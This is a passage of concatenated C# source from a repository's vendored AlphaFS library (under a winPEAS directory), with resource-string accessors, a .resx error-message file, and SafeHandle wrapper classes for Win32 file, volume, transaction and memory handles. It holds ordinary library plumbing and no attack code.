ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("winPEAS._3rdParty.AlphaFS.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; } } /// /// Overrides the current thread's CurrentUICulture property for all /// resource lookups using this strongly typed resource class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } /// /// Looks up a localized string similar to Buffer is not large enough for the requested operation.. /// internal static string Buffer_Not_Large_Enough { get { return ResourceManager.GetString("Buffer_Not_Large_Enough", resourceCulture); } } /// /// Looks up a localized string similar to Cannot create directory.. /// internal static string Cannot_Create_Directory { get { return ResourceManager.GetString("Cannot_Create_Directory", resourceCulture); } } /// /// Looks up a localized string similar to Cannot determine Copy or Move action.. /// internal static string Cannot_Determine_Copy_Or_Move { get { return ResourceManager.GetString("Cannot_Determine_Copy_Or_Move", resourceCulture); } } /// /// Looks up a localized string similar to Destination buffer not large enough for the requested operation.. /// internal static string Destination_Buffer_Not_Large_Enough { get { return ResourceManager.GetString("Destination_Buffer_Not_Large_Enough", resourceCulture); } } /// /// Looks up a localized string similar to The directory is not a mount point: [{0}]. /// internal static string Directory_Is_Not_A_MountPoint { get { return ResourceManager.GetString("Directory_Is_Not_A_MountPoint", resourceCulture); } } /// /// Looks up a localized string similar to Incorrectly implemented function attempting to generate exception from successful operation. ///. /// internal static string Exception_From_Successful_Operation { get { return ResourceManager.GetString("Exception_From_Successful_Operation", resourceCulture); } } /// /// Looks up a localized string similar to The specified file is hidden: [{0}]. /// internal static string File_Is_Hidden { get { return ResourceManager.GetString("File_Is_Hidden", resourceCulture); } } /// /// Looks up a localized string similar to The file or directory already exists. /// internal static string File_Or_Directory_Already_Exists { get { return ResourceManager.GetString("File_Or_Directory_Already_Exists", resourceCulture); } } /// /// Looks up a localized string similar to Failed to get the current WindowsIdentity.. /// internal static string GetCurrentWindowsIdentityFailed { get { return ResourceManager.GetString("GetCurrentWindowsIdentityFailed", resourceCulture); } } /// /// Looks up a localized string similar to Cannot add and remove trailing DirectorySeparator simultaneously.. /// internal static string GetFullPathOptions_Add_And_Remove_DirectorySeparator_Invalid { get { return ResourceManager.GetString("GetFullPathOptions_Add_And_Remove_DirectorySeparator_Invalid", resourceCulture); } } /// /// Looks up a localized string similar to The handle is closed.. /// internal static string Handle_Is_Closed { get { return ResourceManager.GetString("Handle_Is_Closed", resourceCulture); } } /// /// Looks up a localized string similar to The handle is invalid.. /// internal static string Handle_Is_Invalid { get { return ResourceManager.GetString("Handle_Is_Invalid", resourceCulture); } } /// /// Looks up a localized string similar to The handle is invalid. Win32Error: [{0}]. /// internal static string Handle_Is_Invalid_Win32Error { get { return ResourceManager.GetString("Handle_Is_Invalid_Win32Error", resourceCulture); } } /// /// Looks up a localized string similar to Creating hard-links on non-NTFS partitions is not supported.. /// internal static string HardLinks_Not_Supported { get { return ResourceManager.GetString("HardLinks_Not_Supported", resourceCulture); } } /// /// Looks up a localized string similar to Illegal characters: [{0}] in path.. /// internal static string Illegal_Characters_In_Path { get { return ResourceManager.GetString("Illegal_Characters_In_Path", resourceCulture); } } /// /// Looks up a localized string similar to An attempt to set an invalid file attribute failed.. /// internal static string Invalid_File_Attribute { get { return ResourceManager.GetString("Invalid_File_Attribute", resourceCulture); } } /// /// Looks up a localized string similar to The data present in the reparse point buffer is invalid. /// internal static string Invalid_Reparse_Data { get { return ResourceManager.GetString("Invalid_Reparse_Data", resourceCulture); } } /// /// Looks up a localized string similar to Invalid stream name.. /// internal static string Invalid_Stream_Name { get { return ResourceManager.GetString("Invalid_Stream_Name", resourceCulture); } } /// /// Looks up a localized string similar to Invalid Subpath. /// internal static string Invalid_Subpath { get { return ResourceManager.GetString("Invalid_Subpath", resourceCulture); } } /// /// Looks up a localized string similar to Invalid transaction request.. /// internal static string Invalid_Transaction_Request { get { return ResourceManager.GetString("Invalid_Transaction_Request", resourceCulture); } } /// /// Looks up a localized string similar to Argument must be a drive letter: "C", RootDir: "C:\" or UNC path: "\\server\share". /// internal static string InvalidDriveLetterArgument { get { return ResourceManager.GetString("InvalidDriveLetterArgument", resourceCulture); } } /// /// Looks up a localized string similar to The target directory of the directory junction must be on the same local drive.. /// internal static string Junction_And_Target_Must_Be_On_The_Same_Drive { get { return ResourceManager.GetString("Junction_And_Target_Must_Be_On_The_Same_Drive", resourceCulture); } } /// /// Looks up a localized string similar to MoveOptions.CopyAllowed is not allowed when using the MoveOptions.DelayUntilReboot flag.. /// internal static string MoveOptionsDelayUntilReboot_Not_Allowed_With_MoveOptionsCopyAllowed { get { return ResourceManager.GetString("MoveOptionsDelayUntilReboot_Not_Allowed_With_MoveOptionsCopyAllowed", resourceCulture); } } /// /// Looks up a localized string similar to MoveOptions.DelayUntilReboot is not allowed when using a network path.. /// internal static string MoveOptionsDelayUntilReboot_Not_Allowed_With_NetworkPath { get { return ResourceManager.GetString("MoveOptionsDelayUntilReboot_Not_Allowed_With_NetworkPath", resourceCulture); } } /// /// Looks up a localized string similar to Count cannot be negative.. /// internal static string Negative_Count { get { return ResourceManager.GetString("Negative_Count", resourceCulture); } } /// /// Looks up a localized string similar to Destination offset cannot be negative.. /// internal static string Negative_Destination_Offset { get { return ResourceManager.GetString("Negative_Destination_Offset", resourceCulture); } } /// /// Looks up a localized string similar to Length cannot be negative.. /// internal static string Negative_Length { get { return ResourceManager.GetString("Negative_Length", resourceCulture); } } /// /// Looks up a localized string similar to Lock length cannot be negative.. /// internal static string Negative_Lock_Length { get { return ResourceManager.GetString("Negative_Lock_Length", resourceCulture); } } /// /// Looks up a localized string similar to Offset cannot be negative.. /// internal static string Negative_Offset { get { return ResourceManager.GetString("Negative_Offset", resourceCulture); } } /// /// Looks up a localized string similar to Network path is not allowed for directory junction: [{0}]. /// internal static string Network_Path_Not_Allowed { get { return ResourceManager.GetString("Network_Path_Not_Allowed", resourceCulture); } } /// /// Looks up a localized string similar to No drive letters available.. /// internal static string No_Drive_Letters_Available { get { return ResourceManager.GetString("No_Drive_Letters_Available", resourceCulture); } } /// /// Looks up a localized string similar to This stream does not support seeking.. /// internal static string No_Stream_Seeking_Support { get { return ResourceManager.GetString("No_Stream_Seeking_Support", resourceCulture); } } /// /// Looks up a localized string similar to Argument is not a valid Volume GUID.. /// internal static string Not_A_Valid_Guid { get { return ResourceManager.GetString("Not_A_Valid_Guid", resourceCulture); } } /// /// Looks up a localized string similar to Path is a zero-length string or contains only white space.. /// internal static string Path_Is_Zero_Length_Or_Only_White_Space { get { return ResourceManager.GetString("Path_Is_Zero_Length_Or_Only_White_Space", resourceCulture); } } /// /// Looks up a localized string similar to Privilege name cannot be empty.. /// internal static string Privilege_Name_Cannot_Be_Empty { get { return ResourceManager.GetString("Privilege_Name_Cannot_Be_Empty", resourceCulture); } } /// /// Looks up a localized string similar to Incomplete header read.. /// internal static string Read_Incomplete_Header { get { return ResourceManager.GetString("Read_Incomplete_Header", resourceCulture); } } /// /// Looks up a localized string similar to Invalid security descriptor returned from system.. /// internal static string Returned_Invalid_Security_Descriptor { get { return ResourceManager.GetString("Returned_Invalid_Security_Descriptor", resourceCulture); } } /// /// Looks up a localized string similar to Source offset and length outside the bounds of the array. /// internal static string Source_OffsetAndLength_Outside_Bounds { get { return ResourceManager.GetString("Source_OffsetAndLength_Outside_Bounds", resourceCulture); } } /// /// Looks up a localized string similar to The target directory is a file, not a directory: [{0}]. /// internal static string Target_Directory_Is_A_File { get { return ResourceManager.GetString("Target_Directory_Is_A_File", resourceCulture); } } /// /// Looks up a localized string similar to The target file is a directory, not a file: [{0}]. /// internal static string Target_File_Is_A_Directory { get { return ResourceManager.GetString("Target_File_Is_A_Directory", resourceCulture); } } /// /// Looks up a localized string similar to Transaction already aborted.. /// internal static string Transaction_Already_Aborted { get { return ResourceManager.GetString("Transaction_Already_Aborted", resourceCulture); } } /// /// Looks up a localized string similar to Transaction already committed.. /// internal static string Transaction_Already_Committed { get { return ResourceManager.GetString("Transaction_Already_Committed", resourceCulture); } } /// /// Looks up a localized string similar to Invalid transaction object.. /// internal static string Transaction_Invalid { get { return ResourceManager.GetString("Transaction_Invalid", resourceCulture); } } /// /// Looks up a localized string similar to Transaction not active.. /// internal static string Transaction_Not_Active { get { return ResourceManager.GetString("Transaction_Not_Active", resourceCulture); } } /// /// Looks up a localized string similar to Transaction not requested.. /// internal static string Transaction_Not_Requested { get { return ResourceManager.GetString("Transaction_Not_Requested", resourceCulture); } } /// /// Looks up a localized string similar to Transactional conflict.. /// internal static string Transactional_Conflict { get { return ResourceManager.GetString("Transactional_Conflict", resourceCulture); } } /// /// Looks up a localized string similar to Network share path should match the format: \\server\share. /// internal static string UNC_Path_Should_Match_Format { get { return ResourceManager.GetString("UNC_Path_Should_Match_Format", resourceCulture); } } /// /// Looks up a localized string similar to The given path's format is not supported: [{0}]. /// internal static string Unsupported_Path_Format { get { return ResourceManager.GetString("Unsupported_Path_Format", resourceCulture); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Resources.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 Invalid transaction object. Transaction already committed. Transaction already aborted. Transactional conflict. Transaction not active. Transaction not requested. Invalid transaction request. Creating hard-links on non-NTFS partitions is not supported. This stream does not support seeking. Count cannot be negative. Offset cannot be negative. Buffer is not large enough for the requested operation. Invalid security descriptor returned from system. The handle is invalid. The handle is invalid. Win32Error: [{0}] Network share path should match the format: \\server\share Lock length cannot be negative. Destination offset cannot be negative. Length cannot be negative. Source offset and length outside the bounds of the array Privilege name cannot be empty. Cannot create directory. The target directory is a file, not a directory: [{0}] Illegal characters: [{0}] in path. Path is a zero-length string or contains only white space. The given path's format is not supported: [{0}] The target file is a directory, not a file: [{0}] The specified file is hidden: [{0}] Cannot determine Copy or Move action. An attempt to set an invalid file attribute failed. Incomplete header read. Invalid stream name. The file or directory already exists Destination buffer not large enough for the requested operation. Incorrectly implemented function attempting to generate exception from successful operation. Argument is not a valid Volume GUID. Invalid Subpath The handle is closed. The data present in the reparse point buffer is invalid Network path is not allowed for directory junction: [{0}] MoveOptions.CopyAllowed is not allowed when using the MoveOptions.DelayUntilReboot flag. MoveOptions.DelayUntilReboot is not allowed when using a network path. The target directory of the directory junction must be on the same local drive. The directory is not a mount point: [{0}] Argument must be a drive letter: "C", RootDir: "C:\" or UNC path: "\\server\share" Cannot add and remove trailing DirectorySeparator simultaneously. No drive letters available. Failed to get the current WindowsIdentity. ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeCmConnectMachineHandle.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; using Microsoft.Win32.SafeHandles; namespace Alphaleonis.Win32.Filesystem { /// Represents a wrapper class for a handle used by the CM_Connect_Machine/CM_Disconnect_Machine Win32 API functions. [SecurityCritical] internal sealed class SafeCmConnectMachineHandle : SafeHandleZeroOrMinusOneIsInvalid { /// Initializes a new instance of the class. public SafeCmConnectMachineHandle() : base(true) { } /// When overridden in a derived class, executes the code required to free the handle. protected override bool ReleaseHandle() { return NativeMethods.CM_Disconnect_Machine(handle) == Win32Errors.NO_ERROR; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeEncryptedFileRawHandle.cs ================================================ using System; using System.Security; using Microsoft.Win32.SafeHandles; namespace Alphaleonis.Win32.Filesystem { /// Represents a wrapper class for a handle used by the OpenEncryptedFileRaw Win32 API functions. [SecurityCritical] internal sealed class SafeEncryptedFileRawHandle : SafeHandleZeroOrMinusOneIsInvalid { /// Constructor that prevents a default instance of this class from being created. private SafeEncryptedFileRawHandle() : base(true) { } /// Initializes a new instance of the class. /// The handle. /// true to reliably release the handle during the finalization phase; false to prevent reliable release (not recommended). public SafeEncryptedFileRawHandle(IntPtr handle, bool callerHandle) : base(callerHandle) { SetHandle(handle); } /// When overridden in a derived class, executes the code required to free the handle. /// /// true if the handle is released successfully; otherwise, in the event of a catastrophic failure, /// false. In this case, it generates a ReleaseHandleFailed Managed Debugging Assistant. /// protected override bool ReleaseHandle() { NativeMethods.CloseEncryptedFileRaw(handle); return true; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeFindFileHandle.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; using Microsoft.Win32.SafeHandles; namespace Alphaleonis.Win32.Filesystem { /// Represents a wrapper class for a handle used by the FindFirstFile/FindNextFile Win32 API functions. [SecurityCritical] public sealed class SafeFindFileHandle : SafeHandleZeroOrMinusOneIsInvalid { /// Constructor that prevents a default instance of this class from being created. private SafeFindFileHandle() : base(true) { } /// Initializes a new instance of the class. /// The handle. /// true to reliably release the handle during the finalization phase; false to prevent reliable release (not recommended). public SafeFindFileHandle(IntPtr handle, bool callerHandle) : base(callerHandle) { SetHandle(handle); } /// When overridden in a derived class, executes the code required to free the handle. /// /// true if the handle is released successfully; otherwise, in the event of a catastrophic failure, /// false. In this case, it generates a ReleaseHandleFailed Managed Debugging Assistant. /// protected override bool ReleaseHandle() { return NativeMethods.FindClose(handle); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeFindVolumeHandle.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; using Microsoft.Win32.SafeHandles; namespace Alphaleonis.Win32.Filesystem { /// Represents a wrapper class for a handle used by the FindFirstVolume/FindNextVolume methods of the Win32 API. [SecurityCritical] public sealed class SafeFindVolumeHandle : SafeHandleZeroOrMinusOneIsInvalid { /// Constructor that prevents a default instance of this class from being created. private SafeFindVolumeHandle() : base(true) { } /// Initializes a new instance of the class. /// The handle. /// true to reliably release the handle during the finalization phase; false to prevent reliable release (not recommended). public SafeFindVolumeHandle(IntPtr handle, bool callerHandle) : base(callerHandle) { SetHandle(handle); } /// When overridden in a derived class, executes the code required to free the handle. /// /// true if the handle is released successfully; otherwise, in the event of a catastrophic failure, /// false. In this case, it generates a ReleaseHandleFailed Managed Debugging Assistant. /// protected override bool ReleaseHandle() { return NativeMethods.FindVolumeClose(handle); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeFindVolumeMountPointHandle.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; using Microsoft.Win32.SafeHandles; namespace Alphaleonis.Win32.Filesystem { /// Represents a wrapper class for a handle used by the FindFirstVolumeMountPoint/FindNextVolumeMountPoint methods of the Win32 API. [SecurityCritical] internal sealed class SafeFindVolumeMountPointHandle : SafeHandleZeroOrMinusOneIsInvalid { /// Constructor that prevents a default instance of this class from being created. private SafeFindVolumeMountPointHandle() : base(true) { } /// Initializes a new instance of the class. /// The handle. /// true to reliably release the handle during the finalization phase; false to prevent reliable release (not recommended). public SafeFindVolumeMountPointHandle(IntPtr handle, bool callerHandle) : base(callerHandle) { SetHandle(handle); } /// When overridden in a derived class, executes the code required to free the handle. /// /// true if the handle is released successfully; otherwise, in the event of a catastrophic failure, /// false. In this case, it generates a ReleaseHandleFailed Managed Debugging Assistant. /// protected override bool ReleaseHandle() { return NativeMethods.FindVolumeMountPointClose(handle); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeGlobalMemoryBufferHandle.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Text; namespace Alphaleonis.Win32 { /// Represents a block of native memory of a specified size allocated using the LocalAlloc function from Kernel32.dll. internal sealed class SafeGlobalMemoryBufferHandle : SafeNativeMemoryBufferHandle { /// Initializes a new instance of the class, with zero IntPtr. public SafeGlobalMemoryBufferHandle() : base(true) { } /// Initializes a new instance of the class allocating the specified number of bytes of unmanaged memory. /// The capacity. public SafeGlobalMemoryBufferHandle(int capacity) : base(capacity) { SetHandle(Marshal.AllocHGlobal(capacity)); } private SafeGlobalMemoryBufferHandle(IntPtr buffer, int capacity) : base(buffer, capacity) { } [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] public static SafeGlobalMemoryBufferHandle FromLong(long? value) { if (value.HasValue) { var safeBuffer = new SafeGlobalMemoryBufferHandle(Marshal.SizeOf(typeof(long))); Marshal.WriteInt64(safeBuffer.handle, value.Value); return safeBuffer; } return new SafeGlobalMemoryBufferHandle(); } public static SafeGlobalMemoryBufferHandle FromStringUni(string str) { if (str == null) throw new ArgumentNullException("str"); return new SafeGlobalMemoryBufferHandle(Marshal.StringToHGlobalUni(str), str.Length * UnicodeEncoding.CharSize + UnicodeEncoding.CharSize); } /// When overridden in a derived class, executes the code required to free the handle. /// /// true if the handle is released successfully; otherwise, in the event of a catastrophic failure, /// false. In this case, it generates a ReleaseHandleFailed Managed Debugging Assistant. /// protected override bool ReleaseHandle() { Marshal.FreeHGlobal(handle); return true; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeKernelTransactionHandle.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System.Security; namespace Alphaleonis.Win32.Filesystem { /// Provides a concrete implementation of SafeHandle supporting transactions. internal class SafeKernelTransactionHandle : SafeHandleMinusOneIsInvalid { /// Initializes a new instance of the class. public SafeKernelTransactionHandle() : base(true) { } /// When overridden in a derived class, executes the code required to free the handle. /// /// true if the handle is released successfully; otherwise, in the event of a catastrophic failure, /// false. In this case, it generates a ReleaseHandleFailed Managed Debugging Assistant. /// [SecurityCritical] protected override bool ReleaseHandle() { return NativeMethods.CloseHandle(handle); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeLocalMemoryBufferHandle.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Runtime.InteropServices; using Microsoft.Win32.SafeHandles; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Security { /// An IntPtr wrapper which can be used as the result of a Marshal.AllocHGlobal operation. /// Calls Marshal.FreeHGlobal when disposed or finalized. /// internal sealed class SafeLocalMemoryBufferHandle : SafeHandleZeroOrMinusOneIsInvalid { /// Initializes a new instance of the class, with zero IntPtr. public SafeLocalMemoryBufferHandle() : base(true) { } /// Copies data from a one-dimensional, managed 8-bit unsigned integer array to the unmanaged memory pointer referenced by this instance. /// The one-dimensional array to copy from. /// The zero-based index into the array where Copy should start. /// The number of array elements to copy. public void CopyFrom(byte[] source, int startIndex, int length) { Marshal.Copy(source, startIndex, handle, length); } public void CopyTo(byte[] destination, int destinationOffset, int length) { if (destination == null) throw new ArgumentNullException("destination"); if (destinationOffset < 0) throw new ArgumentOutOfRangeException("destinationOffset", Resources.Negative_Destination_Offset); if (length < 0) throw new ArgumentOutOfRangeException("length", Resources.Negative_Length); if (destinationOffset + length > destination.Length) throw new ArgumentException(Resources.Destination_Buffer_Not_Large_Enough, "length"); Marshal.Copy(handle, destination, destinationOffset, length); } public byte[] ToByteArray(int startIndex, int length) { if (IsInvalid) return null; var arr = new byte[length]; Marshal.Copy(handle, arr, startIndex, length); return arr; } /// When overridden in a derived class, executes the code required to free the handle. /// /// true if the handle is released successfully; otherwise, in the event of a catastrophic failure, /// false. In this case, it generates a ReleaseHandleFailed Managed Debugging Assistant. /// protected override bool ReleaseHandle() { return handle == IntPtr.Zero || NativeMethods.LocalFree(handle) == IntPtr.Zero; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeNativeMemoryBufferHandle.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System; using System.Runtime.InteropServices; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32 { /// Base class for classes representing a block of unmanaged memory. internal abstract class SafeNativeMemoryBufferHandle : SafeHandleZeroOrMinusOneIsInvalid { private readonly int m_capacity; /// Initializes a new instance of the class, specifying the allocated capacity of the memory block. /// true to reliably release the handle during the finalization phase; false to prevent reliable release (not recommended). protected SafeNativeMemoryBufferHandle(bool callerHandle) : base(callerHandle) { } /// Initializes a new instance of the class, specifying the allocated capacity of the memory block. /// The capacity. protected SafeNativeMemoryBufferHandle(int capacity) : this(true) { m_capacity = capacity; } protected SafeNativeMemoryBufferHandle(IntPtr memory, int capacity) : this(capacity) { SetHandle(memory); } /// Gets the capacity. Only valid if this instance was created using a constructor that specifies the size, /// it is not correct if this handle was returned by a native method using p/invoke. /// public int Capacity { get { return m_capacity; } } /// Copies data from a one-dimensional, managed 8-bit unsigned integer array to the unmanaged memory pointer referenced by this instance. /// The one-dimensional array to copy from. /// The zero-based index into the array where Copy should start. /// The number of array elements to copy. public void CopyFrom(byte[] source, int startIndex, int length) { Marshal.Copy(source, startIndex, handle, length); } public void CopyFrom(char[] source, int startIndex, int length) { Marshal.Copy(source, startIndex, handle, length); } public void CopyFrom(char[] source, int startIndex, int length, int offset) { Marshal.Copy(source, startIndex, new IntPtr(handle.ToInt64() + offset), length); } /// Copies data from this unmanaged memory pointer to a managed 8-bit unsigned integer array. /// The offset in the buffer to start copying from. /// The array to copy to. public void CopyTo(int sourceOffset, byte[] 